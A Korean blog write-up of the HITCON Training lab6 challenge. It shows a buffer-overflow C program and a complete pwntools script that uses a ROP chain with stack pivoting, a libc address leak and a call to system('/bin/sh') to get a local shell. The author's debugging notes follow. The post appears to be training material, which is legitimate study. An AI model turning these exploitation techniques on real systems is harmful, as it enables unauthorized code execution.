lab6
#include <stdio.h>
int count = 1337 ;
int main(){
if(count != 1337)
_exit(1);
count++;
char buf[40];
setvbuf(stdout,0,2,0);
puts("Try your best :");
read(0,buf,64);
return ;
}
간단한 소스코드다. buf[40] 변수가 있는데 read 함수를 통해 64 길이만큼 입력받아서 BOF 취약점이 발생한다. ROP를 통해 쉘을 획득하려고 했는데 64 크기만큼만 입력할 수 있다는 것이 문제가 생겼다. 일단, puts의 got를 통해 실제 함수를 구하고 offset 계산을 통해 system 함수를 구하는 것까지 했다. 하지만 길이의 제한으로 더 이상 입력할 수 없어서 .bss 영역을 fake stack으로 사용하여 문제를 해결하면 되겠다는 생각을 했다.
Stack Pivot
위에서 말한 대로, buf[40] 변수를 overwrite하여 ROP 공격코드를 작성하면 좋지만 read에서 64 길이만큼만 입력받으므로 불가능하다. 따라서 main함수에서 사용하는 스택이 아닌, 쓰기 가능한 메모리 공간을 Fake Stack으로 사용해야 한다. 이때, 스택의 위치 포인터를 담당하는 레지스터인 ESP와 EBP를 원하는 대로 조정한다면 가능할 것이다. ESP의 값을 직접적으로 바꾸거나(add esp, ...) "POP EBP"를 할 수도 있지만 일반적으로 "leave;ret;"명령으로 많이 컨트롤하는 것 같다. 어떤 방식으로 스택을 임의로 조정할 수 있는지 알아보자.
leave; ret; 명령어는 함수의 에필로그 시 사용하는 어셈블리 코드이다. leave의 경우, 내부적으로 "mov esp, ebp; pop ebp;"를 수행한다. 여러 변수 및 스택을 사용하며 esp가 증가했지만 함수를 마치며 정리를 하기 위해 ebp 값을 esp로 옮기고 해당 함수를 호출한 caller의 ebp로 돌리기 위해 pop을 수행한다. ret의 경우, 내부적으로 "pop eip; jmp eip"를 수행한다.
실제로 스택에 따라 레지스터의 움직임을 확인하면 함수의 에필로그를 진행하며 EBP는 SFP에 저장되어 있던 값으로 세팅되고, ESP가 가리키는 값으로 EIP는 JMP 하여 코드가 진행된다. 그렇다면, 공격코드를 SFP는 Fake Stack으로 이용할 메모리 주소를 저장하고 RET에는 원하는 함수의 주소를 넣고, leave;ret; 가젯을 실행하면 Fake Stack에서 작성한 ROP가 실행될 것이다. 내가 최종적으로 작성한 코드는 다음과 같다.
from pwn import *
context.log_level = 'debug'
p = process('./migration')
E = ELF('./migration')
puts_got = E.got['puts']
puts_plt = E.plt['puts']
read_plt = E.plt['read']
pop_addr = 0x0804836d
pppr_addr = 0x08048569
leave_ret = 0x08048418
system_offset = 0x2c4a0
binsh_offset = 0x14cb22
buf = 0x804af0c
buf2 = 0x804ac8c
pause()
p.recvuntil('Try your best :\n')
#1
payload = b''
payload += b'A'*40
payload += p32(buf)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(buf)
payload += p32(0x100)
p.send(payload)
#2
payload = p32(buf2)
payload += p32(puts_plt)
payload += p32(pop_addr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(buf2)
payload += p32(0x100)
log.info("Get puts() address!")
p.send(payload)
pause()
puts_addr = u32(p.recv(4))
system_addr = puts_addr - system_offset
binsh_addr = system_addr + 0x14cb22
log.info('system addr: 0x%x' % system_addr)
log.info('/bin/sh addr: 0x%x' % binsh_addr)
#3
payload = p32(buf)
payload += p32(system_addr)
payload += p32(0x11111111)
payload += p32(binsh_addr)
log.info("Get Shell!")
pause()
p.send(payload)
p.interactive()
코드를 작성하며 발생했던 문제점은 다음과 같다.
- pop;pop;pop;ret랑 pop;ret; 가젯을 이용할 때, POP EBP 가젯이 포함되어 제대로 ROP가 실행 안됬음.
- puts를 통해 system함수를 구하는 페이로드를 작성할 때, leave;ret;의 위치.(헷갈렸음)
- fake stack의 주소(.bss 영역에 +0x100, +0x200 이렇게 사용했는데 안돼서 직접 메모리 보면서 NULL로 채워진 영역을 사용함.)
1번 문제점을 발견한 것은, puts함수의 got를 leak하여 오프셋 계산을 통해 system 함수의 주소를 얻으려고 했는데 해당 코드를 실행하는 과정에서 Segment fault가 발생했다. 그래서 해당 코드가 올라올 Fake Stack(=buf)의 메모리를 확인했는데 내가 원하는 대로 배치되어있지 않았다. 뭔가 문제인지 고민하다가 사용하던 pop;ret; 가젯이 pop ebp;ret; 가젯이여서 셋팅해놓은 ebp값이 의도하지 않은 대로 변경되었다는 가능성을 생각하고 다른 레지스터를 pop하는 가젯으로 변경했다.
2번 문제점은 Stack Pivot이 익숙하지않아서 read 함수의 다음에 pppr 가젯을 넣어 페이로드가 제대로 실행되지 않았다. 해당 공격코드는 puts 함수를 통해 puts의 got를 출력하고 POP;RET; 가젯을 통해 다음에 적혀있는 read함수를 실행하여 system 코드를 입력받고 leave;ret;을 통해 Fake Stack2(=buf2)로 이동하는 것을 목표로 작성되었다. 따라서 pppr이 아닌 leave;ret; 가젯이 오는 것이 맞다.
3번 문제점은 Fake Stack의 위치 때문에 공격코드가 제대로 실행되지 않은 문제이다. 처음에는 많이들 사용하는 bss 영역을 사용했다. (bss+0x100, bss+0x200) 하지만 작동하지 않았고 main함수의 조건문에 걸려 exit가 실행되기도 했다. 이때문에 나는 Fake stack의 주소로 사용한 bss 영역 중 뭔가 잘못 건드린 것 같아서 계속 주소를 바꿔가면서 테스트하다가 직접 메모리를 봐서 NULL로 채워져서 사용하지 않을 것 같은 주소를 사용했다. 이렇게 메모리 주소를 변경하니 페이로드가 정상적으로 실행되어 쉘을 획득할 수 있었다.
공격코드의 흐름은 다음과 같이 작성했다.
- SFP는 fake stack(=buf)의 주소를 넣고, read의 함수 이후, leave;ret; 가젯을 실행하여 스택포인터를 fake stack으로 이동하게 한다.
- Fake stack에서 puts 함수와 offset을 이용하여 system 함수의 주소를 계산하고, read를 실행하여 system 함수를 실행하는 함수를 입력받게 만든다.(다음으로 넘어갈 때 역시, leave;ret; 가젯을 이용.)
- system 함수를 넣는다. 이때, 첫 4bytes를 system함수의 주소가 아닌 다른 값으로 채우는데 그 이유는 leave;ret; 이후에 EIP가 이동하는 값이 esp+4으로 되기때문에 4bytes를 채우고 system 주소를 입력한다.
- 다른 분들의 풀이도 확인해봤는데, 나처럼 Stack pivot하지 않고, main함수로 한 번 더 이동하여 푸는 방법도 있었다. (나도 이 생각을 했었는데 if문에 걸릴까봐 귀찮아서 이렇게 했는데 main함수의 read함수부분만 호출하면 됬을 꺼 같다.)
'Security' 카테고리의 다른 글
HITCON Training lab7 ~ 9 (0) | 2020.11.21 |
---|---|
BOF 중 scanf에 대한 글 (0) | 2020.11.13 |
HITCON Training lab4 ~ 5 (0) | 2020.10.30 |
Oneshot 가젯 (0) | 2020.10.16 |
HITCON Training lab1 ~ 3 (0) | 2020.10.12 |